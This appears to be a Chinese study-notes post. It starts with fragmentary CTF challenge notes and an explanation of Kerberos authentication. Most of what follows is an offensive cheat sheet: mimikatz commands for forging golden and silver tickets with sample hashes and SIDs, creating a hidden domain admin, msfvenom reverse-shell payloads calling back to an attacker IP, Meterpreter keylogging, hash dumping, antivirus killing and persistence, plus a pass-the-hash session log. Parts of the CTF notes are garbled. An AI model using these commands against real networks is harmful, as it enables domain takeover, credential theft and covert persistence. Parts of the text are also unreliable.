[!NOTE]

寒假忙着办比赛，（虽然也不咋忙，笔记只存在本地了懒得发了

在得物实习两周了，emmm 自我感觉良好

主要是我出的两道应急响应题

# Hakuya Want A Girl Friend

可以看出这一部分是一个压缩包，截取出来打开发现要密码

剩下的是倒序的 png，倒回来然后爆破宽高

拿到密码 To_f1nd_th3_QQ

打开压缩包得到 flag

hagme

# Computer cleaner

进入 /var/www/html apache 的默认目录尝试寻找 webshell

查看日志

对于攻击者 ip 直接访问可以得到第二段

1

cat ~/Documents/flag_part3

1

hgame{y0u_hav3_cleaned_th3_c0mput3r!}

# Computer cleaner plus

找后门，不断排查

查看命令是否被修改

ps 被修改

打开得到文件名

hgame

# Kerberos

什么是域 —— 域是一组有边界的计算机的集合

在 Active Directory（AD）中，域是指一个管理范围或网络区域，它包含了用户、计算机、组等对象。通过域，管理员可以统一管理用户权限和资源访问。

Kerberos 是一种基于加密 Ticket 的身份认证协议。

# kerberos 认证

参与 Kerberos 认证的有三个角色

• DC 域控
• • 在 KDC（DC 中的一个组件：密钥分发中心）中又分为两个部分：Authentication Service (AS, 身份验证服务) 和 Ticket Granting Service (TGS, 票据授权服务)，分别负责负责验证用户身份和发放服务票据
• client 客户端
• • Kerberos 客户端是代表需要访问资源的用户进行操作的应用程序，例如打开文件、查询数据库或打印文档。每个 Kerberos 客户端在访问资源之前都会请求身份验证。
• server
• • 域内提供服务的服务端，服务端都有一个独一的 SPN。

# SPN

​SPN（Service Principal Name）是用于标识某个服务实例的名称，它通过在一个网络中的用户或计算机账户与该服务的实例之间建立映射来实现。它通常以特定的格式存在，帮助 Kerberos 客户端识别和验证网络中的服务。

SPN 的基本格式如下： <服务类型>/<主机名>:<端口号>

例如：

• HTTP/server.example.com:80 代表运行在 server.example.com 上的 HTTP 服务，端口为 80。
• MSSQLSvc/sqlserver.example.com:1433 代表运行在 sqlserver.example.com 上的 SQL Server 服务，端口为 1433。

管理员可以使用 setspn 命令来管理 SPN：

1

setspn -A HTTP/server.example.com DOMAIN\user

这条命令为 DOMAIN\user 账户添加了一个 HTTP 服务的 SPN

# kerberos 认证流程

Kerberos 是一种基于票据 Ticket 的认证方式。客户端想要访问服务端的某个服务，首先需要购买服务端认可的 ST 服务票据 (Service Ticket)。也就是说，客户端在访问服务之前需要先买好票，等待服务验票之后才能访问。但是这张票并不能直接购买，需要一张 TGT 认购权证（Ticket Granting Ticket)。也就是说，客户端在买票之前必须先获得一张 TGT 认购权证。TGT 认购权证 和 ST 服务票据 均是由 KDC (密钥分发中心) 发放；因为 KDC 是运行在域控制器上，所以说 TGT 认购权证和 ST 服务票据均是由域控发放。

Kerberos 协议其中有两个基础认证模块：AS_REQ & AS_REP 和 TGS_REQ & TGS_REP ，以及微软扩展的两个认证模块 S4U 和 PAC 。S4U 是微软为了实现委派而扩展的模块，分为 S4U2Self 和 S4U2Proxy 。在 Kerberos 最初设计的流程里只说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。因此微软为了解决权限这个问题，引入了 PAC (Privilege Attribute Certificate，特权属性证书) 的概念。

# AS_REQ & AS_REP

1、KRB_AS-REQ 请求包分析
Client->AS：Client 先向 KDC 的 AS 发送 pA-ENC-TIMESTAMP（内容为 Client hash 加密的时间戳 ）

**AS-REQ：** 当域内某个用户想要访问域内某个服务时，于是输入用户名和密码，本机就会向 KDC 的 AS 认证服务发送一个 AS-REQ 认证请求。该请求包中包含如下信息：

• 请求的用户名 (cname)。

• 域名 (realm)。

• **Authenticator：** 一个抽象的概念，代表一个验证。这里是用户密钥加密的时间戳。

• ** 请求的服务名 (sname)：**AS-REQ 这个阶段请求的服务都是 krbtgt。

• 加密类型 (etype)。

• ** 以及一些其他信息：** 如版本号，消息类型，票据有效时间，是否包含 PAC，协商选项等。

• 用户向 KDC 发起 AS_REQ, 请求凭据是用户 hash 加密的时间戳。请求凭据放在 PA_DATA 里面

  krbtgt 是 Kerberos 中的一个特殊账户，用于存储和管理 Ticket Granting Ticket（TGT）。在 Kerberos 认证系统中，krbtgt 账户是一个系统级别的账户，用于生成 TGT 和使用自己的 hash（krbtgt hash）加密 TGT，并提供给用户进行身份验证和获取服务票据。那么如果攻击者获取到了这个 hash（krbtgt hash），那么就可以任意的伪造 TGT 了，也就是黄金票据，拥有了黄金票据就可以跳过 AS 验证了。

  在 AS_REQ 阶段主要用到的有两个

  PA-ENC-TIMESTAMP

• • PA-DATA PA-ENC-TIMESTAMP：这个是预认证，就是用用户 Hash 加密时间戳，作为 value 发送给 KDC 的 AS 服务。然后 KDC 从活动目录中查询出用户的 hash，使用用户 Hash 进行解密，获得时间戳，如果能解密，且时间戳在一定的范围内，则证明认证通过。由于是使用用户密码 Hash 加密的时间戳，所以也就造成了哈希传递攻击

• PA_PAC_REQUEST

• • 这个是启用 PAC 支持的扩展。PAC 并不在原生的 kerberos 里面，是微软引进的扩展。PAC 包含在 AS_REQ 的响应 body (AS_REP)。这里的 value 对应的是 include=true 或者 include=false (KDC 根据 include 的值来判断返回的票据中是否携带 PAC)。

2、 KRB_AS_REP 回复包分析：
AS->Client：AS 根据用户名在 AD 中寻找是否在 AD 数据库中，然后根据 Client 的用户名提取到对应的 Hash，接着 pA-ENC-TIMESTAMP 用对应 Client 用户名的 Hash 进行解密，如果结果正确则会返回如下：

1、返回当前 KDC 中 krbtgt hash 加密的 TGT 票据 **（TGT 包含 PAC，PAC 包含 Client 的 sid，Client 所在的组）**，在通信数据包中显示的就是 ticket 字段

2、Authentication Service 会生成一个随机数 Session key（这个非常重要，作为 kerberos 中下一轮的认证密钥），返回给 Client 由 Client 的 HASH 加密的 enc-part 字段

KDC 的 AS 认证服务在成功认证客户端的身份之后，发送 AS-REP 响应包给客户端。AS-REP 响应包中主要包括如下信息：

• 请求的用户名 (cname)。

• 域名 (crealm)。

• TGT 认购权证：包含明文的版本号，域名，请求的服务名，以及加密部分 enc-part。加密部分用 krbtgt 密钥加密。加密部分包含 Logon Session Key、用户名、域名、认证时间、认证到期时间和 authorization-data。authorization-data 中包含最重要的 PAC 特权属性证书 (包含用户的 RID，用户所在组的 RID) 等。

• enc_Logon Session Key：使用用户密钥加密 Logon Session Key 后的值，其作用是用于确保客户端和 KDC 下阶段之间通信安全。也就是 AS-REP 中最外层的 enc-part。

• 以及一些其他信息：如版本号，消息类型等。

TGT 认购权证
AS-REP 响应包中的 ticket 便是 TGT 认购权证了。TGT 认购权证中包含一些明文显示的信息，如版本号 tkt-vno、域名 realm、请求的服务名 sname。但是 TGT 认购权证中最重要的还是加密部分，加密部分是使用 krbtgt 帐户密钥加密的。加密部分主要包含的内容有 Logon Session Key、请求的用户名 cname、域名 crealm、认证时间 authtime、认证到期时间 endtime、authorization-data 等信息。

最重要的还是 authorization-data 部分，这部分中包含客户端的身份权限等信息，这些信息包含在 PAC 中。

**KDC 生成 PAC 的过程如下：**KDC 在收到客户端发来的 AS-REQ 请求后，从请求中取出 cname 字段，然后查询活动目录数据库，找到 sAMAccountName 属性为 cname 字段的值的用户，用该用户的身份生成一个对应的 PAC。

Logon Session Key
AS-REP 响应包最外层的那部分便是加密的 Login session Key 了，其作用是用于确保客户端和 KDC 下阶段之间通信安全，它使用请求的用户密钥加密。

我们对最外层的 enc-part 部分进行解密，就可以看到是使用 hack 用户的密钥对其进行解密的。

解密结果如下：主要包含的内容是认证时间 authtime、认证到期时间 endtime、域名 srealm、请求的服务名 sname、协商标志 flags 等一些信息。需要说明的是，在 TGT 认购权证中也包含 Logon Session Key ，作为下阶段的认证密钥。

ticket
这个 ticket 用于 TGS_REQ 的认证。是加密的，用户不可读取里面的内容。在 AS_REQ 请求里面是，是使用 krbtgt 的 hash 进行加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个 ticket，既黄金票据。

# TGS_REQ & TGS_REP

KRB_TGS_REQ (请求)：
Client 接收到了加密后的 ticket (TGT) 和 enc-part 之后，先对 enc-part 用自身密码 HASH 解密得到 Session key，也就是上文中说的 随机生成的 Session key。

TGT 是由 KDC 中 krbtgt 的 Hash 加密，所以 Client 无法解密。

这时 Client 继续再用 Session key 加密的 TimeStamp（authenticator，然后再和 ticket (TGT) 一起发送给 KDC 中的 TGS（TicketGranting Server）票据授权服务器换取能够访问 Server 的票据。

然后这里面的 ticket 其实还是我们的 TGT 票据

KRB_TGS_REP (应答)：
TGS 收到 Client 发送过来的 ticket (TGT) 和 Session key 加密 TimeStamp 的 authenticator 之后，首先会检查自身是否存在 Client 所请求的服务。如果服务存在，则用 krbtgt 的 HASH 来解密 ticket (TGT)。

一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期，且原始地址是否和 TGT 中保存的地址相同。

验证成功之后将返回 Client 两个东西，一个是用 Session key 加密的 enc-part，然后另一个是 Client 要访问的 Server 的密码 HASH 加密的 TGS 票据（要访问服务端的 Hash）生成就是 ST（TGS）票据，那么此时的 ticket 就是 TGS 了

这个过程其实跟我们请求 TGT 是一样的，你可以看到一个 ticket (TGS) 和一个 enc-part

enc-part 这个部分同样是可以解密的，原因就是这里 enc-part 加密用的密钥，实际上就是上一轮 AS_REP 里面返回的 Session key，从开始到现在这里的 Session key 一直都是一样的，作为下一轮通信的认证密钥。

# 票据攻击

黄金票据是伪造 TGT，白银票据则是伪造 ST

# 黄金票据（Golden ticket）

黄金票据伪造的是票据授予票据 (TGT)，TGT=krbtgt hash (session key,client info，end time)。TGT 由 AS 返回给 client，然后 client 用 TGT 来向 TGS 验证自己的身份，而 client 是不知道 krbtgt hash 的，只有 AS 与 TGS 知道 krbtgt hash，所以要想伪造 TGT 就需要知道 krbtgt hash。所以攻击者伪造黄金票据 TGT 的前提是获得管理员访问域控制器的权限并抓取到 krbtgt hash。

而 session key 是由 AS 随机生成的，TGS 在收到 TGT 之前并不知道，所以可以伪造。client info 和 end time 也是可以自己定的。所以我们可以伪造由 client 发给 TGS 的 TGS REQ，进而获得 server ticket。

黄金票据常用于权限维持。 当我们获得域控的控制权限后，有可能获取域内所有用户的 hash，和 krbtgt 的 hash。这时，由于一些原因导致我们失去对目标的控制权，但是我们还留有一个普通用户的权限，并且 krbtgt 的密码没有更改，此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 tgt，重新获取域控的管理权限。

条件：

1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名
（获取域的 SID 和 KRBTGT 账号的 NTLM HASH 的前提是需要已经拿到了域的权限）

黄金票据的特点
（1） KDC 中的 TGS 不通过读取 AD 来验证来自 client 的 TGS REQ 中的用户账户信息，知道 TGT 超过 20 分钟，这意味着攻击者可以使用禁用和删除帐户，甚至是在 Active Directory 中不存在的虚拟帐户。
（2） 由于 Kerberos 的策略是由 DC 上的 KDC 设置的，所以如果提供票据，则系统就会信任票据的有效性。也就是说，即使域策略声明 TGT 只有 10 小时有效，但将 TGT 中声明的有效期改为 10 年，那信任票据的有效性期会成为 10 年而不是 10 小时。
（3） 绕过了 SmartCard 身份验证要求，因为它绕过了 DC 在创建 TGT 之前执行的常规验证。
（4） 要求攻击者拥有 Active Directory 域的 KRBTGT 密码哈希值，从而伪造 TGT。
（5） Krbtgt hash 可用于生成一个有效的 TGT（使用 RC4），模拟任何用户访问 Active Directory 中的任何资源。
（6） 只要网络可以访问域，即使没有加入域，在主机上也可以生成和使用黄金票据。

黄金票据防御
（1） 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机，将所有其他权限委派给自定义管理员组。这可以降低攻击者访问域控制器的 Active Directory 的 ntds.dit 文件。而如果攻击者无法访问 AD 数据库（ntds.dit 文件），则其无法获取到 krbtgt hash。
（2） 增加更改 krbtgt 账户的密码的频率。

# 制作黄金票据

基本信息获取（SID, 所处域）

1
2
3

这里直接在域控制权上进行操作
whoami /user    获取域的sid值(去掉最后的-500，500表示为administrator用户)
net config workstation  查看所处域

获取 krbtgt 用户 hash

1
2
3
4

运行mimikatz.exe
privilegeg::debug       #开启特权模式
lsadump::lsa /patch#获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt

制作黄金票据（使用 mimikatz）

此时我们已经拥有 krbtgt 账号的 hash，接下来切换到普通机器，使用 mimikatz 制作黄金票据。

1
2
3
4
5
6

Kerberos::purge
klist purge这两条命令可以清除机器中的票据，以防干扰

kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)

票据传递

1
2

kerberos::ptt ticket.kirbi
dir \\dc.cyber.com\c$ #这里好像一定要完整的主机名才行

此时一个通往域内任意服务的后门制作完成。

可以直接使用 psexec 工具获得交互权限

PsExec64.exe \\dc.cyber.com -s cmd.exe

也可以在域内创建隐藏用户。

net user qwerty$ Aa123456 /add /domain net group "domain admins" qwerty$ /domain

# 白银票据（Silver ticket）

如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部，Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求，Server 接收到 Client 的请求之后，通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份，验证成功就让 Client 访问 server 上的指定服务了。 所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。

所需条件

1. 域名
2. 域 sid
3. 目标服务器名
4. 可利用的服务
5. 服务账号的 NTML HASH
6. 需要伪造的用户名

# 制作白银票据

基本信息获取（SID，所处域，服务器名，NTLM HASH）

1
2
3
4
5
6

SID和所处域参考上面
whoami /user 
net config workstation

获取服务账号hash
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt'

制作白银票据（使用 mimikatz）

1
2
3
4
5

klist purge  清除票据

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

# 金票和银票的区别

获取的权限不同

金票：伪造的 TGT，可以获取任意 Kerberos 的访问权限

银票：伪造的 ST，只能访问指定的服务，如 CIFS

认证流程不同

金票：同 KDC 交互，但不同 AS 交互

银票：不同 KDC 交互，直接访问 Server

加密方式不同

金票：由 krbtgt NTLM Hash 加密

银票：由服务账号 NTLM Hash 加密

# reverse_shell

# reverse_tcp

Linux：

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell

Windows：

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe

# reverse_http

payload:/windows/meterpreter/reverse_http

# reverse_https

payload:/windows/meterpreter/reverse_https

# bind_tcp

这是一个基于 TCP 的正向连接 shell，因为在内网跨网段时无法连接到 attack 的机器，所以在内网中经常会使用，不需要设置 LHOST。

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell

# Meterpreter 的常用命令

# 1. 基本命令

help# 查看 Meterpreter 帮助

background# 返回，把 meterpreter 后台挂起

bgkill# 杀死一个背景 meterpreter 脚本

bglist# 提供所有正在运行的后台脚本的列表

bgrun# 作为一个后台线程运行脚本

channel# 显示活动频道

sessions -i number # 与会话进行交互，number 表示第 n 个 session, 使用 session -i 连接到指定序号的 meterpreter 会话已继续利用

sesssions -k number #与会话进行交互

close# 关闭通道

exit# 终止 meterpreter 会话

quit# 终止 meterpreter 会话

interact id #切换进一个信道

run# 执行一个已有的模块，这里要说的是输入 run 后按两下 tab，会列出所有的已有的脚本，常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等

irb# 进入 Ruby 脚本模式

read# 从通道读取数据

write# 将数据写入到一个通道

run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本

use# 加载 meterpreter 的扩展

load/use# 加载模块

Resource# 执行一个已有的 rc 脚本

# 2. 文件系统命令

cat c:\boot.ini# 查看文件内容，文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上，如 upload setup.exe C:\windows\system32\

download nimeia.txt/root/Desktop/ # 下载文件到本机 如：download C:\boot.ini/root / 或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db/root/

edit c:\boot.ini # 编辑文件

getlwd# 打印本地目录

getwd# 打印工作目录

lcd# 更改本地目录

ls# 列出在当前目录中的文件列表

lpwd# 打印本地目录

pwd# 输出工作目录

cd c:\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir# 受害者系统上删除目录

dir# 列出目标主机的文件和文件夹信息

mv# 修改目标主机上的文件名

search -d d:\www -f web.config #search 文件，如 search -d c:\ -f*.doc

meterpreter > search -f autoexec.bat #搜索文件

meterpreter > search -f sea*.bat c:\xamp\

enumdesktops #用户登录数

在主机上运行某个进程（-H 是隐藏后台执行）

execute -H -f notepad.exe

在目标主机内存中直接执行我们攻击主机上的攻击程序

execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"

• -d 在目标主机执行时显示的进程名称（用以伪装）
• -m 直接从内存中执行
• "-o wce.txt" 是 wce.exe 的运行参数

“idletime” 命令为显示目标机器截止到当前无操作命令的时间。

search 命令

• “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。
• 使用 “search –h” 命令来查看 search 命令的帮助信息：
• 下图中，“search –f aa.txt” 命令为查看目标机中在当前目录以及当前目录的子目录中有没有 aa.txt 这个文件，若有则显示出其路径。
• “search –f l*.txt c:\pp” 为显示出 c:\pp 下及 pp 文件夹下所有的子文件下所有以 l 开头的 txt 文件，若有此类文件，则返回其路径和其大小。

edit 命令

调用 vi 编辑器，对目标主机上的文件修改

# 3. 网络命令

ipconfig/ifconfig# 显示网络接口的关键信息，包括 IP 地址

portfwd -h

用法：portfwd [-h] [add | delete | list | flush] [args]

• 选项：
• -L 要监听的本地主机（可选）
• -h 帮助横幅
• -l 要监听的本地端口
• -p 连接到的远程端口
• -r 要连接到的远程主机

portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发，本机监听 4444, 把目标机 3389 转到本机 4444

netstat -an | grep“4444" #查看指定端口开放情况

rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用 rdesktop 来连接桌面，-u 用户名 -p 密码

rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接

route# 查看或修改受害者路由表

route add 192.168.1.0 255.255.255.0 1 #添加动态路由

route print #路由表输出

runget_local_subnets #目标主机的内网 IP 段情况

Arp #看 ARP 缓冲表

Getproxy #获取代理

# 4. 键盘监听

keyscan_start：开启键盘记录功能

keyscan_dump：显示捕捉到的键盘记录信息

keyscan_stop：停止键盘记录功能

uictl enable keyboard/mouse# 接管目标主机的键盘和鼠标。

meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能

Starting the keystroke sniffer…

meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录

Dumping captured keystrokes…

dir cd

meterpreter > keyscan_stop #停止针对目标主机的键盘记录

Stopping the keystroke sniffer…

# 5. 系统命令

reboot# 重新启动受害人的计算机

reg# 与受害人的注册表进行交互

rev2self# 回到控制目标主机的初始用户账户下

shell# 获得控制台权限

shutdown# 关闭了受害者的计算机

sysinfo # 查看目标机系统信息，如机器名，操作系统等

add_user username password -h ip #在远程目标主机上添加一个用户

add_group_user “Domain Admins” username -h ip #将用户添加到目标主机的域管理员组中

# 6.mimikatz

meterpreter > load mimikatz #加载 mimikatz

meterpreter > msv #获取 hash 值

meterpreter > kerberos #获取明文

meterpreter >ssp #获取明文信息

meterpreter > wdigest #获取系统账户信息

meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示

meterpreter >mimikatz_command -f hash:: #获取目标 hash

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

# 7. 网络嗅探

meterpreter > use sniffer # 加载嗅探模块

Loading extension sniffer…success.

meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口

1 - ‘WAN Miniport (Network Monitor)’ ( type:3 mtu:1514 usable:true dhcp:false wifi:false )

2 - ‘Intel® PRO/1000 MT Desktop Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

3 - ‘Cisco Systems VPN Adapter’ ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据

[*] Capture started on interface 2 (50000 packet buffer)

meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探

[*] Flushing packet capture buffer for interface 2…

[*] Flushed 1176 packets (443692 bytes)

[*] Downloaded 100% (443692/443692)…

[*] Download completed, converting to PCAP…

[*] PCAP file written to /tmp/test2.cap

meterpreter > sniffer_stop 2 #停止嗅探

# 8. 获取敏感信息

run post/windows/gather/checkvm #是否虚拟机

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks #获取最近的文件操作

run post/windows/gather/enum_ie #获取 IE 缓存

run post/windows/gather/enum_chrome #获取 Chrome 缓存

run scraper #获取常见信息

# 9. 获取 Hash

使用 “hashdump” 命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件，获取目标主机的账号密码 hash 信息

meterpreter > run post/windows/gather/smart_hashdump

# 10. 通过 Hash 获取权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options   

Module options (exploit/windows/smb/psexec):   

Name       Current Setting  Required  Description
-------------------  --------  -----------
RHOST                       yes       The target address
RPORT      445              yes       Set the SMB service port
SHAREADMIN$           yes       The share to connect to, can be an admi                                              n share

(ADMIN$,C$,...) or a normal read/write folder share

SMBDomainWORKGROUP        no        The Windows domain to use for authentication
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as   

Exploit target:   
Id  Name
--  ----
0   Automatic   
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537   

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

# 12. 得到远程桌面

run vnc

# 13. 权限提升

使用 “getuid” 获得当前的权限，migrate+PID 迁移进程（当我们攻击一个系统是，常常是对像是 IE 之类的服务漏洞进行利用的，可是不免有对方关闭 IE 的情况，那么我们的 meterpreter 会话将会关闭，从而导致与目标系统失去连接，所以我们可以使用迁移进程后的攻击模块，将 sessions 迁移到内存空间中的其他稳定的、不会被关闭的服务进程中，以维持稳定的系统控制），从列表中看到 PID 为 500 的是 administrator 权限，所以是迁移到 administrator 的权限，“getsystem –h” 升级为权限 SYSTEM 账户。这个模块可以用来提升我们的特权，有四个技巧。Meterpreter 自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了 system 权限了。

ps# 列出正在运行的进程

kill pid # 杀死进程

migrate pid # 将 Meterpreter 会话移植到进程数为 pid 的进程中，需要注意的是如果存在杀软的话可能会阻止进程注入，所以把会话进程注入到 svchost.exe 是一个好方法

getprivs# 尽可能获取尽可能多的特权

getuid #获得当前的权限

getsystem #通过各种攻击向量将一个管理帐户（通常为本地 Administrator 账户）提升为本地 SYSTEM 帐户

getsystem –h #升级权限 SYSTEM 账户

使用 MS14-058 之类的 Exp 进行提权:

meterpreter > background

[*] Backgrounding session 3…

msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set SESSION 3

use priv# 加载特权提升扩展模块，来扩展 Meterpreter 库

# 14.SOCKS 代理

Metasploit 可以作为一个 SOCKS 代理服务器，具体步骤为首先通过 Metasploit 的某些模块建立会话，就像本章前面介绍的，建立完会话之后，执行 “route add +IP+mask+SID”，然后使用 “use auxiliary/server/socks4a” 命令来使用 sock4a 模块，执行 run 命令 ，socks 便会执行

然后再在命令行下执行 proxychains 命令，使用代理对目标主机进行扫描，nmap，nc 等都可以

# 15. 运行程序

我们还可以使用 “execute” 命令在目标系统中执行应用程序。这个命令的使用方法如下：

• execute -f<file> [Options]
• execute -f cmd.exe -i# 执行 cmd.exe 命令并进行交互
• execute -f cmd.exe -i -t# 以所有可用令牌来执行 cmd 命令
• execute -f cmd.exe -i -H -t# 创建新进程 cmd.exe，-H 不可见，-i 交互
• execute -H -i -f cmd.exe
• execute -H -m -d notepad.exe-f wce.exe -a “-o wce.txt”

运行后它将执行 file 参数所指定的文件。可选参数如下：

• -H：创建一个隐藏进程
• -a：传递给命令的参数
• -i：跟进程进行交互
• -m：从内存中执行
• -t：使用当前伪造的线程令牌运行进程
• -s：在给定会话中执行进程
• -f 执行的程序文件
• -d 在目标主机执行时显示的进程名称（用以伪装）
• -o wce.txt" 是 wce.exe 的运行参数

更多命令…Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)

# 常见脚本

1.arp_scanner

利用 arp 进行存活主机扫描

run arp_scanner-r 192.168.1.0/24

2.autoroute

可以添加，删除，显示路由表

3.checkvm

可以检测目标是否是虚拟机

4.credcollect

收集目标主机上的 hash 等凭证

5.domain_list_gen

获取域管理账户列表，并判断当前 session 所在用户是否在列表中

6.dumplinks

Link 文件包含时间戳，文件位置，共享名，卷序列号，等。脚本会在用户目录和 office 目录中收集 lnk 文件

调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息

命令：run post/windows/gather/dumplinks

7.duplicate

再次产生 payload，注入到其他进程或打开新进程并注入其中

8.enum_chrome

获取 chrome 中的信息

9.enum_firefox

获取 firefox 中的信息，包括 cooikie，历史纪录，书签等

10.enum_logged_on_users

列出当前登录的用户

11.enum_powershell_env

列出 powershell 和 WSH 的配置文件

12.enum_putty

列出 putty 的配置文件

13.enum_shares

列出共享及历史共享

14.enum_vmware

列出 vmware 的配置文件和产品

15.event_manager

可以查询和清理事件日志

16.file_collector

搜索符合指定模式的文件

17.get_application_list

获取安装的程序列表及版本

18.getcountermeasure

列出 HIPS 和 AV 的进程，显示 XP 防火墙规则，并且显示 DEP 和 UAC 策略

Ps：-k 参数可以杀掉防护软件进程

19.get_env

获取所有用户的环境变量

20.get_filezilla_creds

获取 filezilla 的登陆凭证

21.getgui

可以很方便的开启远程桌面服务，添加用户，端口转发功能

22.get_local_subnets

获得本地的子网

23.get_pidgin_creds

获取 pidgin 配置文件中的用户名和密码

24.gettelnet

同之前开启终端桌面服务的脚本，这个是用来开启 telnet 的

25.get_valid_community

获取 SNMP community 字符串

26.getvncpw

获取 vnc 密码

27.hashdump

同 meterpreter 的内置功能

28.hostsedit

操作 hosts 文件

29.keylogrecorder

Meterpreter 内置此功能

30.killav

关闭防护软件

31.metsvc

将 payload 安装为服务

32. migrate

将 meterpreter 会话移植到另一个进程

例如反弹的 meterpreter 会话是对方打开了一个你预置特殊代码的 word 文档而产生的，那么对方一旦关闭掉该 word 文档，我们获取到的 meterpreter 会话就会随之关闭，所以把会话进程注入到 explorer.exe 是一个好方法

可以先用 ps 命令看一下目标主机的 explorer.exe 进程的 pid，我们用 migrate pid 把 meterpreter 会话注入进去

33 .persistence

可见建立一个持久性的后门，设置成开机启动

34. service_permissions_escalate

许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务，然后会搜索已存在 d 服务，找到不安全的文件或配置有问题的文件，用一个 payload 替换掉他，然后会尝试重启服务来运行这个 paylaod，如果重启服务失败，则在下次服务器重启时会执行 payload

35.vnc

可以看到远程桌面

36. win32-sshserver

安装 openssh 服务

37. winenum

会自动运行多种命令，将命令结果保存到本地

# 获取 meterpreter

1. 首先生成可执行文件

root @ kali：〜＃msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe

2. 启动 msfconsole，监听反连端口

root @ kali：〜＃msfconsole

msf>use exploit/multi /handler

msf exploit（handler）> set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => window /meterpreter/reverse_tcp

msf exploit（handler）> set LHOST 0.0.0.0

msf exploit（handler）>set LPORT 444

msf exploit（handler）>show options

msf exploit（handler）>exploit

参考：Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)

